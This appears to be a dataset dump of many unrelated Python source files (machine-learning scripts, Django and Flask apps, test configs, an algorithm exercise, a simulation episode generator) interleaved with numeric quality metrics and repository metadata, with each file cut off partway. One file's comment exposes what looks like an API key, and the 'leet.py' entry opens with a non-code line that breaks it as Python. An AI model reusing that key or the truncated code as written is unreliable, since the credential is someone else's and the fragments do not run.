0.021934
0
0
0
0
0
0
1
0.032258
false
0
0.354839
0
0.419355
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
4968c48330c18edd322258fb79f85333f213b40b
2,306
py
Python
process/1_embed_keep_ge.py
omarmaddouri/GCNCC_1
ec858bbe8246e4af15f7b870ca0ccafdea93d627
[ "MIT" ]
4
2020-12-03T11:57:15.000Z
2021-12-09T05:20:44.000Z
process/1_embed_keep_ge.py
alkaidone/GCNCC
3270b4c2d48e0090a18a0ab1df3b9fd81627029d
[ "MIT" ]
5
2020-01-28T23:14:40.000Z
2021-08-25T15:55:23.000Z
process/1_embed_keep_ge.py
alkaidone/GCNCC
3270b4c2d48e0090a18a0ab1df3b9fd81627029d
[ "MIT" ]
3
2021-11-23T05:13:27.000Z
2021-12-30T08:12:48.000Z
from __future__ import division from __future__ import print_function from pathlib import Path import sys project_path = Path(__file__).resolve().parents[1] sys.path.append(str(project_path)) from keras.layers import Dense, Activation, Dropout from keras.models import Model, Sequential from keras.regularize...
38.433333
139
0.685603
299
2,306
5.133779
0.408027
0.070358
0.065147
0.057329
0.255375
0.189577
0.120521
0.120521
0.088599
0.088599
0
0.004885
0.112316
2,306
60
140
38.433333
0.744993
0.083695
0
0.097561
0
0
0.272594
0.169516
0
0
0
0
0
1
0
false
0
0.390244
0
0.390244
0.219512
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
49755e37e2029b777679857be7a2f1b70a206d0d
2,700
py
Python
omnithinker/api/nytimes.py
stuycs-softdev-fall-2013/proj2-pd6-04-omnithinker
53bf397ce2f67e7d5c5689486ab75475e99b0eba
[ "MIT", "BSD-3-Clause" ]
1
2022-01-18T02:03:15.000Z
2022-01-18T02:03:15.000Z
omnithinker/api/nytimes.py
stuycs-softdev-fall-2013/proj2-pd6-04-omnithinker
53bf397ce2f67e7d5c5689486ab75475e99b0eba
[ "MIT", "BSD-3-Clause" ]
null
null
null
omnithinker/api/nytimes.py
stuycs-softdev-fall-2013/proj2-pd6-04-omnithinker
53bf397ce2f67e7d5c5689486ab75475e99b0eba
[ "MIT", "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python import json from urllib import urlopen # http://api.nytimes.com/svc/search/v2/articlesearch.json?fq=Obama&FACET_FIELD=day_of_week&BEGIN_DATE=19000101 # &API-KEY=5772CD9A42F195C96DA0E930A7182688:14:68439177 # The original link is above. What happens is because we don't specify an end date, the panda a...
35.526316
153
0.605185
352
2,700
4.485795
0.321023
0.035465
0.022799
0.032299
0.504117
0.473718
0.412286
0.394554
0.368588
0.368588
0
0.07575
0.271481
2,700
75
154
36
0.726995
0.20037
0
0.396226
0
0.037736
0.197111
0.09972
0
0
0
0
0
0
null
null
0
0.037736
null
null
0.018868
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
4978db654876ffc9e3f0801f73bab29baba94038
29,541
py
Python
isitek.py
will-bainbridge/ISITEK
53e90e0511bbd7cd08614b943c1286c56adbee5e
[ "MIT" ]
3
2018-06-26T15:04:46.000Z
2019-09-14T09:23:44.000Z
isitek.py
will-bainbridge/ISITEK
53e90e0511bbd7cd08614b943c1286c56adbee5e
[ "MIT" ]
null
null
null
isitek.py
will-bainbridge/ISITEK
53e90e0511bbd7cd08614b943c1286c56adbee5e
[ "MIT" ]
3
2016-11-28T12:19:37.000Z
2020-02-04T00:18:56.000Z
#!/usr/bin/python ################################################################################ import numpy import os import cPickle as pickle import scipy.misc import scipy.sparse import scipy.sparse.linalg import scipy.special import sys import time class Struct: def __init__(self, **keywords): self.__dict_...
34.35
173
0.597982
4,825
29,541
3.605596
0.075855
0.033799
0.040927
0.018336
0.445824
0.348163
0.281773
0.200494
0.157901
0.140541
0
0.076295
0.157882
29,541
859
174
34.389988
0.623025
0.141194
0
0.203704
0
0
0.024306
0.000845
0
0
0
0
0
0
null
null
0
0.016667
null
null
0.009259
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
497d558f6807d6cee34934135fc08d3e5e24fbf5
487
py
Python
server/apps/api/notice/migrations/0003_alter_event_priority.py
NikitaGrishchenko/csp-tender-hack-server
56055f51bf472f0f1e56b419a48d993cc91e0f3a
[ "MIT" ]
null
null
null
server/apps/api/notice/migrations/0003_alter_event_priority.py
NikitaGrishchenko/csp-tender-hack-server
56055f51bf472f0f1e56b419a48d993cc91e0f3a
[ "MIT" ]
null
null
null
server/apps/api/notice/migrations/0003_alter_event_priority.py
NikitaGrishchenko/csp-tender-hack-server
56055f51bf472f0f1e56b419a48d993cc91e0f3a
[ "MIT" ]
null
null
null
# Generated by Django 3.2.9 on 2021-11-27 12:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('notice', '0002_auto_20211127_0236'), ] operations = [ migrations.AlterField( model_name='event', name='priority', ...
25.631579
151
0.616016
52
487
5.673077
0.769231
0
0
0
0
0
0
0
0
0
0
0.092643
0.246407
487
18
152
27.055556
0.711172
0.092402
0
0
1
0
0.229545
0.052273
0
0
0
0
0
1
0
false
0
0.083333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
497e1c5d29374050c770b786c91bc5c1ccabcd85
650
py
Python
gdpr_assist/app_settings.py
mserrano07/django-gdpr-assist
3c23d0aadadc676c128ef57aebc36570f3936ff1
[ "BSD-3-Clause" ]
null
null
null
gdpr_assist/app_settings.py
mserrano07/django-gdpr-assist
3c23d0aadadc676c128ef57aebc36570f3936ff1
[ "BSD-3-Clause" ]
null
null
null
gdpr_assist/app_settings.py
mserrano07/django-gdpr-assist
3c23d0aadadc676c128ef57aebc36570f3936ff1
[ "BSD-3-Clause" ]
null
null
null
""" Settings """ from yaa_settings import AppSettings class PrivacySettings(AppSettings): # Name of the model attribute for a privacy definition GDPR_PRIVACY_CLASS_NAME = "PrivacyMeta" # Name of the model attribute for the privacy definition instance GDPR_PRIVACY_INSTANCE_NAME = "_privacy_meta" ...
28.26087
79
0.755385
87
650
5.413793
0.54023
0.059448
0.038217
0.059448
0.110403
0.110403
0
0
0
0
0
0
0.2
650
22
80
29.545455
0.905769
0.493846
0
0
0
0
0.101266
0
0
0
0
0
0
1
0
false
0
0.142857
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
49850af7a6ca8eea66c58c865c235297d9610189
2,815
py
Python
senti_analysis/data.py
hotbaby/sentiment-analysis
efb880870d905c4c02528d7d242ba06b90f0e259
[ "MIT" ]
null
null
null
senti_analysis/data.py
hotbaby/sentiment-analysis
efb880870d905c4c02528d7d242ba06b90f0e259
[ "MIT" ]
2
2020-09-25T21:17:58.000Z
2022-02-10T00:28:19.000Z
senti_analysis/data.py
hotbaby/sentiment-analysis
efb880870d905c4c02528d7d242ba06b90f0e259
[ "MIT" ]
null
null
null
# encoding: utf8 import numpy as np import pandas as pd from collections import OrderedDict from senti_analysis import config from senti_analysis import constants from senti_analysis.preprocess import (load_tokenizer, load_sentences, encode_sentence, label_transform) def load_...
30.597826
99
0.713677
395
2,815
4.693671
0.124051
0.045307
0.053398
0.071197
0.717907
0.696332
0.666127
0.651025
0.615965
0.615965
0
0.000446
0.204263
2,815
91
100
30.934066
0.827232
0.061101
0
0.462963
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.111111
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
49882b0d53f39e7e8ebf679902e5c955c3e1b55f
944
py
Python
tests/inputs/config.py
hsh-nids/python-betterproto
f5d3b48b1aa49fd64513907ed70124b32758ad3e
[ "MIT" ]
708
2019-10-11T06:23:40.000Z
2022-03-31T09:39:08.000Z
tests/inputs/config.py
hsh-nids/python-betterproto
f5d3b48b1aa49fd64513907ed70124b32758ad3e
[ "MIT" ]
302
2019-11-11T22:09:21.000Z
2022-03-29T11:21:04.000Z
tests/inputs/config.py
hsh-nids/python-betterproto
f5d3b48b1aa49fd64513907ed70124b32758ad3e
[ "MIT" ]
122
2019-12-04T16:22:53.000Z
2022-03-20T09:31:10.000Z
# Test cases that are expected to fail, e.g. unimplemented features or bug-fixes. # Remove from list when fixed. xfail = { "namespace_keywords", # 70 "googletypes_struct", # 9 "googletypes_value", # 9 "import_capitalized_package", "example", # This is the example in the readme. Not a test. } se...
32.551724
81
0.733051
119
944
5.605042
0.621849
0.014993
0.074963
0
0
0
0
0
0
0
0
0.005175
0.181144
944
28
82
33.714286
0.857697
0.444915
0
0
0
0
0.62768
0.348928
0
0
0
0
0
1
0
false
0
0.105263
0
0.105263
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
4989cd340b09d2674ba44f9caf4ca76681a1034f
1,476
py
Python
examples/wagsley/wagsley/urls.py
Blogsley/blogsley
0ca17397af5d53c2fac3affb5eacec2f8d941d37
[ "MIT" ]
null
null
null
examples/wagsley/wagsley/urls.py
Blogsley/blogsley
0ca17397af5d53c2fac3affb5eacec2f8d941d37
[ "MIT" ]
null
null
null
examples/wagsley/wagsley/urls.py
Blogsley/blogsley
0ca17397af5d53c2fac3affb5eacec2f8d941d37
[ "MIT" ]
null
null
null
from django.conf import settings from django.urls import include, path, re_path from django.contrib import admin from ariadne_django.views import GraphQLView from wagtail.admin import urls as wagtailadmin_urls from wagtail.core import urls as wagtail_urls from wagtail.documents import urls as wagtaildocs_urls from p...
28.941176
80
0.735095
186
1,476
5.72043
0.274194
0.067669
0.045113
0.043233
0
0
0
0
0
0
0
0
0.138889
1,476
51
81
28.941176
0.837136
0.071138
0
0
0
0
0.132117
0.035037
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0.03125
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
4989d46fdda2f05efd221caf77a2291b849c31f5
1,311
py
Python
tests/unit/core/test_certify_timestamp.py
sys-git/certifiable
a3c33c0d4f3ac2c53be9eded3fae633fa5f697f8
[ "MIT" ]
null
null
null
tests/unit/core/test_certify_timestamp.py
sys-git/certifiable
a3c33c0d4f3ac2c53be9eded3fae633fa5f697f8
[ "MIT" ]
311
2017-09-14T22:34:21.000Z
2022-03-27T18:30:17.000Z
tests/unit/core/test_certify_timestamp.py
sys-git/certifiable
a3c33c0d4f3ac2c53be9eded3fae633fa5f697f8
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `certifiable.core.certify_timestamp` method.""" import datetime import unittest from decimal import Decimal from certifiable import CertifierTypeError from certifiable.core import certify_timestamp class CoreCertifyTimestampTestCase(unittest.TestCase): ...
22.220339
64
0.514111
122
1,311
5.393443
0.483607
0.121581
0.057751
0.069909
0.285714
0.136778
0.136778
0
0
0
0
0.021223
0.389016
1,311
58
65
22.603448
0.80025
0.032037
0
0.225
0
0
0.007449
0
0
0
0
0
0.05
0
null
null
0
0.15
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
498b4c183ee96795b8b620014ec7c0080e178c36
1,477
py
Python
rtc_handle_example/replace/com_replace_impl.py
takashi-suehiro/rtmtools
56ee92d3b3f2ea73d7fa78dfabe6a098e06f6215
[ "MIT" ]
null
null
null
rtc_handle_example/replace/com_replace_impl.py
takashi-suehiro/rtmtools
56ee92d3b3f2ea73d7fa78dfabe6a098e06f6215
[ "MIT" ]
null
null
null
rtc_handle_example/replace/com_replace_impl.py
takashi-suehiro/rtmtools
56ee92d3b3f2ea73d7fa78dfabe6a098e06f6215
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # -*- Python -*- """ \file com_replace_idl_examplefile.py \brief Python example implementations generated from com_replace.idl \date $Date$ """ import omniORB from omniORB import CORBA, PortableServer import _GlobalIDL, _GlobalIDL__POA class ComReplace_i (_GlobalID...
22.723077
69
0.666892
186
1,477
5.053763
0.505376
0.035106
0.031915
0.025532
0.031915
0
0
0
0
0
0
0.001792
0.244414
1,477
64
70
23.078125
0.840502
0.47258
0
0
1
0
0.02149
0
0
0
0
0
0
1
0.111111
false
0
0.222222
0.055556
0.444444
0.055556
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
498efc2d71a44fd1bc6d2b0987f9eff5df4001b1
1,192
py
Python
src/pytornado/_util.py
airinnova/pytornado
6127f45af60ab05f15b441bc134089a7e7a59669
[ "Linux-OpenIB" ]
16
2019-08-13T18:49:14.000Z
2022-01-11T15:41:12.000Z
src/pytornado/_util.py
airinnova/pytornado
6127f45af60ab05f15b441bc134089a7e7a59669
[ "Linux-OpenIB" ]
24
2019-09-11T14:48:01.000Z
2022-03-18T08:17:52.000Z
src/pytornado/_util.py
airinnova/pytornado
6127f45af60ab05f15b441bc134089a7e7a59669
[ "Linux-OpenIB" ]
5
2019-09-20T18:45:45.000Z
2020-12-08T01:44:43.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # ---------------------------------------------------------------------- # Copyright 2019-2020 Airinnova AB and the FramAT authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You ...
34.057143
80
0.59396
155
1,192
4.503226
0.619355
0.08596
0.037249
0.045845
0
0
0
0
0
0
0
0.025253
0.169463
1,192
34
81
35.058824
0.679798
0.645134
0
0
0
0
0.197995
0
0
0
0
0
0
1
0
false
0
0.111111
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
4994cdca869fe06dd8910a681063b2822b7a3d86
2,122
py
Python
diplom_test/data_reader.py
CrackedSTone/algorithm-detects-liver-pathology
d52d08e4e6931b3502f083f20d6332f7b6839a3b
[ "Apache-2.0" ]
8
2019-04-09T07:11:26.000Z
2020-02-27T16:51:26.000Z
diplom_test/data_reader.py
il-yanko/algorithm-detects-liver-pathology
d52d08e4e6931b3502f083f20d6332f7b6839a3b
[ "Apache-2.0" ]
null
null
null
diplom_test/data_reader.py
il-yanko/algorithm-detects-liver-pathology
d52d08e4e6931b3502f083f20d6332f7b6839a3b
[ "Apache-2.0" ]
2
2019-04-04T07:13:02.000Z
2020-02-06T04:58:34.000Z
import glob import numpy as np #import cv2 from PIL import Image #import os.path class ImgReader: def __init__(self): pass @staticmethod def read_directory(dir_path, file_format=None): try: images = [np.asarray(Image.open(img_path).convert('L'), dtype=np.uint8) ...
29.068493
111
0.615928
299
2,122
4.187291
0.384615
0.043131
0.035144
0.054313
0.340256
0.340256
0.340256
0.340256
0.340256
0.340256
0
0.014539
0.254477
2,122
73
112
29.068493
0.776865
0.027804
0
0.689655
0
0
0.05268
0
0
0
0
0
0
1
0.137931
false
0.068966
0.103448
0
0.448276
0.137931
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
499e8f87034a01b4664449514e2ad3632e9bb2a1
1,074
py
Python
dp/kadane.py
williamsmj/prakhar1989-algorithms
82e64ce9d451b33c1bce64a63276d6341a1f13b0
[ "WTFPL" ]
2,797
2015-01-01T15:52:13.000Z
2022-03-28T20:52:37.000Z
dp/kadane.py
williamsmj/prakhar1989-algorithms
82e64ce9d451b33c1bce64a63276d6341a1f13b0
[ "WTFPL" ]
35
2015-01-07T03:11:18.000Z
2021-06-27T09:09:55.000Z
dp/kadane.py
williamsmj/prakhar1989-algorithms
82e64ce9d451b33c1bce64a63276d6341a1f13b0
[ "WTFPL" ]
887
2015-01-02T06:38:19.000Z
2022-03-26T20:33:11.000Z
""" Problem: The maximum subarray problem is the task of finding the contiguous subarray within a one-dimensional array of numbers (containing at least one positive number) which has the largest sum. Solution: The recurrence relation that we solve at each step is the following - Let S[i] = be the max value contigous ...
33.5625
71
0.645251
205
1,074
3.273171
0.42439
0.014903
0.053651
0.125186
0.017884
0.017884
0
0
0
0
0
0.045564
0.223464
1,074
31
72
34.645161
0.758993
0
0
0
0
0
0.017316
0
0
0
0
0
0
0
null
null
0
0
null
null
0.083333
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b8c9483c89fccb1526f7a1b94d89843858f14cf3
3,216
py
Python
dcr/scenarios/agent-bvt/test_agent_basics.py
sshedi/WALinuxAgent
99d07d29b7843293588bec4b961e4ef2d1daabb2
[ "Apache-2.0" ]
null
null
null
dcr/scenarios/agent-bvt/test_agent_basics.py
sshedi/WALinuxAgent
99d07d29b7843293588bec4b961e4ef2d1daabb2
[ "Apache-2.0" ]
null
null
null
dcr/scenarios/agent-bvt/test_agent_basics.py
sshedi/WALinuxAgent
99d07d29b7843293588bec4b961e4ef2d1daabb2
[ "Apache-2.0" ]
null
null
null
import os import re import socket from dotenv import load_dotenv from dcr.scenario_utils.common_utils import execute_command_and_raise_on_error from dcr.scenario_utils.models import get_vm_data_from_env def test_agent_version(): stdout, _ = execute_command_and_raise_on_error(['waagent', '-version'], timeout=30)...
30.923077
109
0.661692
440
3,216
4.631818
0.290909
0.024043
0.050049
0.064769
0.156035
0.140334
0.111874
0.074583
0.074583
0
0
0.009921
0.216418
3,216
103
110
31.223301
0.79881
0.014303
0
0.057143
0
0
0.172403
0.00821
0
0
0
0
0
1
0.085714
false
0.071429
0.085714
0
0.257143
0.042857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
b8ca7c27c5d04fb6e63bdc64ba80458973c7d303
9,033
py
Python
src/DrawingEpisodes.py
Benykoz/simcom
ffe1c3636ef65a037a34e71d5cbcdb2e483d5b93
[ "MIT" ]
null
null
null
src/DrawingEpisodes.py
Benykoz/simcom
ffe1c3636ef65a037a34e71d5cbcdb2e483d5b93
[ "MIT" ]
null
null
null
src/DrawingEpisodes.py
Benykoz/simcom
ffe1c3636ef65a037a34e71d5cbcdb2e483d5b93
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # # This file includes mainly a class "randomEpisode" that: # - draws localization of vehicle # - draws number of rocks # - draws position of each rock # - save in a json file # Author: Michele # Project: SmartLoader - Innovation import json import random from ge...
35.14786
94
0.469169
876
9,033
4.760274
0.166667
0.118465
0.070504
0.071942
0.7
0.686091
0.679856
0.672902
0.672902
0.645564
0
0.033656
0.404627
9,033
256
95
35.285156
0.741726
0.128418
0
0.59447
0
0
0.046779
0
0
0
0
0
0
1
0.023041
false
0
0.032258
0
0.078341
0.004608
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b8cbfca6de86ee3ef9fe472b32eb107264c928c8
1,671
py
Python
EDA/src/utils/main_flask.py
paleomau/MGOL_BOOTCAMP
8c2b018f49fd12a255ea6f323141260d04d4421d
[ "MIT" ]
null
null
null
EDA/src/utils/main_flask.py
paleomau/MGOL_BOOTCAMP
8c2b018f49fd12a255ea6f323141260d04d4421d
[ "MIT" ]
null
null
null
EDA/src/utils/main_flask.py
paleomau/MGOL_BOOTCAMP
8c2b018f49fd12a255ea6f323141260d04d4421d
[ "MIT" ]
null
null
null
from flask import Flask, request, render_template from functions import read_json import os # Mandatory app = Flask(__name__) # __name__ --> __main__ # ---------- Flask functions ---------- @app.route("/") # @ --> esto representa el decorador de la función def home(): """ Default path """ #return app.sen...
25.318182
72
0.625972
214
1,671
4.621495
0.443925
0.040445
0.016178
0
0
0
0
0
0
0
0
0.020331
0.205266
1,671
66
73
25.318182
0.724398
0.264512
0
0
0
0
0.164735
0
0
0
0
0
0
1
0.157895
false
0.052632
0.105263
0
0.394737
0.078947
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
b8df7da99167063e92023aa153878ad215a2e8ff
2,476
py
Python
leet.py
blackcow/pytorch-cifar-master
c571c8fd7fe521907755ca2eacb6aa877abe3493
[ "MIT" ]
null
null
null
leet.py
blackcow/pytorch-cifar-master
c571c8fd7fe521907755ca2eacb6aa877abe3493
[ "MIT" ]
null
null
null
leet.py
blackcow/pytorch-cifar-master
c571c8fd7fe521907755ca2eacb6aa877abe3493
[ "MIT" ]
null
null
null
第一题: import io import sys sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #str = input() #print(str) class Solution(object): def findMedium(l): length = len(l) l.sort() # 如果为奇数,输出中间的值 if length % 2 != 0: print(l[length//2]) # 如果为偶数,中心两位均值 ...
23.358491
79
0.468094
328
2,476
3.454268
0.234756
0.035305
0.022065
0.045013
0.348632
0.336275
0.304501
0.304501
0.262136
0.262136
0
0.031821
0.403473
2,476
106
80
23.358491
0.735274
0.07189
0
0.283784
0
0
0.015331
0
0
0
0
0
0
0
null
null
0
0.081081
null
null
0.054054
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b8e9db6f289a79604e54db518d87b8a53a1a0672
504
py
Python
weasyl/test/test_http.py
hyena/weasyl
a43ad885eb07ae89d6639f289a5b95f3a177439c
[ "Apache-2.0" ]
111
2016-05-18T04:18:18.000Z
2021-11-03T02:05:19.000Z
weasyl/test/test_http.py
hyena/weasyl
a43ad885eb07ae89d6639f289a5b95f3a177439c
[ "Apache-2.0" ]
1,103
2016-05-29T05:17:53.000Z
2022-03-31T18:12:40.000Z
weasyl/test/test_http.py
TheWug/weasyl
a568a542cc58c11e30621fb672c701531d4306a8
[ "Apache-2.0" ]
47
2016-05-29T20:48:37.000Z
2021-11-12T09:40:40.000Z
import pytest from weasyl import http @pytest.mark.parametrize(('wsgi_env', 'expected'), [ ({}, {}), ({'PATH_INFO': '/search', 'QUERY_STRING': 'q=example'}, {}), ({'HTTP_ACCEPT': '*/*'}, {'Accept': '*/*'}), ( {'CONTENT_LENGTH': '', 'HTTP_ACCEPT_ENCODING': 'gzip', 'HTTP_UPGRADE_INSECURE_REQUES...
29.647059
102
0.603175
54
504
5.351852
0.574074
0.072664
0.155709
0.16609
0.17301
0
0
0
0
0
0
0.004751
0.164683
504
16
103
31.5
0.68171
0
0
0
0
0
0.376984
0.109127
0
0
0
0
0.076923
1
0.076923
false
0
0.153846
0
0.230769
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b8ea0aefe02a0ac8e734a613a8836ee2fbeec6cf
421
py
Python
chords/neural_network/classifier.py
fernando-figueredo/ChordsWebApp
9bf983ab5579c36c75447c74eec0400d78ab49f9
[ "MIT" ]
2
2021-03-30T01:09:51.000Z
2022-03-10T21:17:15.000Z
chords/neural_network/classifier.py
fernando-figueredo/ChordsWebApp
9bf983ab5579c36c75447c74eec0400d78ab49f9
[ "MIT" ]
null
null
null
chords/neural_network/classifier.py
fernando-figueredo/ChordsWebApp
9bf983ab5579c36c75447c74eec0400d78ab49f9
[ "MIT" ]
null
null
null
from neural_network.train import Trainer class Classifier(): def __init__(self, train=False): self.train = train self.trainer = Trainer() if not self.train: self.trainer.load() else: self.trainer.train() def classify(self, audio_file_path): #pre...
28.066667
59
0.643705
50
421
5.18
0.46
0.212355
0.150579
0
0
0
0
0
0
0
0
0
0.261283
421
15
60
28.066667
0.832797
0.118765
0
0
0
0
0
0
0
0
0
0
0
1
0.181818
false
0
0.090909
0
0.363636
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
b8ea2be5c0eee4133b1b628fc992cd2fbe84768f
556
py
Python
cybox/common/metadata.py
tirkarthi/python-cybox
a378deb68b3ac56360c5cc35ff5aad1cd3dcab83
[ "BSD-3-Clause" ]
40
2015-03-05T18:22:51.000Z
2022-03-06T07:29:25.000Z
cybox/common/metadata.py
tirkarthi/python-cybox
a378deb68b3ac56360c5cc35ff5aad1cd3dcab83
[ "BSD-3-Clause" ]
106
2015-01-12T18:52:20.000Z
2021-04-25T22:57:52.000Z
cybox/common/metadata.py
tirkarthi/python-cybox
a378deb68b3ac56360c5cc35ff5aad1cd3dcab83
[ "BSD-3-Clause" ]
30
2015-03-25T07:24:40.000Z
2021-07-23T17:10:11.000Z
# Copyright (c) 2020, The MITRE Corporation. All rights reserved. # See LICENSE.txt for complete terms. from mixbox import entities, fields import cybox.bindings.cybox_common as common_binding class Metadata(entities.Entity): _binding = common_binding _binding_class = common_binding.MetadataType _namesp...
32.705882
99
0.753597
69
556
5.898551
0.594203
0.095823
0
0
0
0
0
0
0
0
0
0.010438
0.138489
556
16
100
34.75
0.839248
0.178058
0
0
0
0
0.182819
0.066079
0
0
0
0
0
1
0
false
0
0.222222
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
b8f295ce12bf7401ea1d40884fb3f417f25a7bfd
6,907
py
Python
stomasimulator/febio/xplt/xplt_calcs.py
woolfeh/stomasimulator
ead78b78809f35c17e2d784259bdeb56589a9d1c
[ "MIT" ]
2
2017-07-27T12:57:26.000Z
2017-07-28T13:55:15.000Z
stomasimulator/febio/xplt/xplt_calcs.py
woolfeh/stomasimulator
ead78b78809f35c17e2d784259bdeb56589a9d1c
[ "MIT" ]
null
null
null
stomasimulator/febio/xplt/xplt_calcs.py
woolfeh/stomasimulator
ead78b78809f35c17e2d784259bdeb56589a9d1c
[ "MIT" ]
1
2020-06-02T15:31:04.000Z
2020-06-02T15:31:04.000Z
import stomasimulator.geom.geom_utils as geom class AttributeCalculator(object): """ Abstraction for calculations performed on XPLT state data """ def __init__(self, prefix, reference_data, dimensionality, lambda_fn=None): self.prefix = '' if prefix is None else prefix self.reference_data = r...
37.538043
106
0.624005
822
6,907
4.954988
0.209246
0.026516
0.035355
0.029462
0.228333
0.214829
0.176528
0.153695
0.153695
0.09698
0
0.008851
0.296656
6,907
183
107
37.743169
0.829559
0.224989
0
0.258427
0
0
0.013647
0
0
0
0
0
0.011236
1
0.224719
false
0.022472
0.011236
0.022472
0.449438
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
b8fc2913caa7185f3d28c952db02652d27ed5b76
8,940
py
Python
mmtbx/ions/tst_environment.py
jbeilstenedmands/cctbx_project
c228fb15ab10377f664c39553d866281358195aa
[ "BSD-3-Clause-LBNL" ]
null
null
null
mmtbx/ions/tst_environment.py
jbeilstenedmands/cctbx_project
c228fb15ab10377f664c39553d866281358195aa
[ "BSD-3-Clause-LBNL" ]
null
null
null
mmtbx/ions/tst_environment.py
jbeilstenedmands/cctbx_project
c228fb15ab10377f664c39553d866281358195aa
[ "BSD-3-Clause-LBNL" ]
null
null
null
# -*- coding: utf-8; py-indent-offset: 2 -*- from __future__ import division from mmtbx.ions.environment import ChemicalEnvironment import mmtbx.ions.identify from mmtbx import ions import mmtbx.monomer_library.pdb_interpretation from mmtbx import monomer_library from mmtbx.ions.environment import chem_carboxy, chem_...
41.581395
80
0.631767
1,137
8,940
4.644679
0.146878
0.129521
0.072714
0.084832
0.642871
0.602159
0.567885
0.526605
0.503882
0.439879
0
0.039216
0.24698
8,940
214
81
41.775701
0.745247
0.004698
0
0.44
0
0
0.022482
0
0
0
0
0
0.005
0
null
null
0
0.055
null
null
0.025
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
b8fecc2152a699d192482875bb377312659faf77
577
py
Python
async-utils/setup.py
goc9000/python-library
0a4a09278df6e84061baedda8997071e2201103f
[ "MIT" ]
null
null
null
async-utils/setup.py
goc9000/python-library
0a4a09278df6e84061baedda8997071e2201103f
[ "MIT" ]
null
null
null
async-utils/setup.py
goc9000/python-library
0a4a09278df6e84061baedda8997071e2201103f
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages setup( name='atmfjstc-async-utils', version='0.1.0', author_email='atmfjstc@protonmail.com', package_dir={'': 'src'}, packages=find_packages(where='src'), install_requires=[ ], zip_safe=True, description="Utilities for async code", ...
20.607143
49
0.60312
60
577
5.683333
0.8
0.070381
0
0
0
0
0
0
0
0
0
0.013793
0.246101
577
27
50
21.37037
0.770115
0
0
0.1
0
0
0.389948
0.039861
0
0
0
0
0
1
0
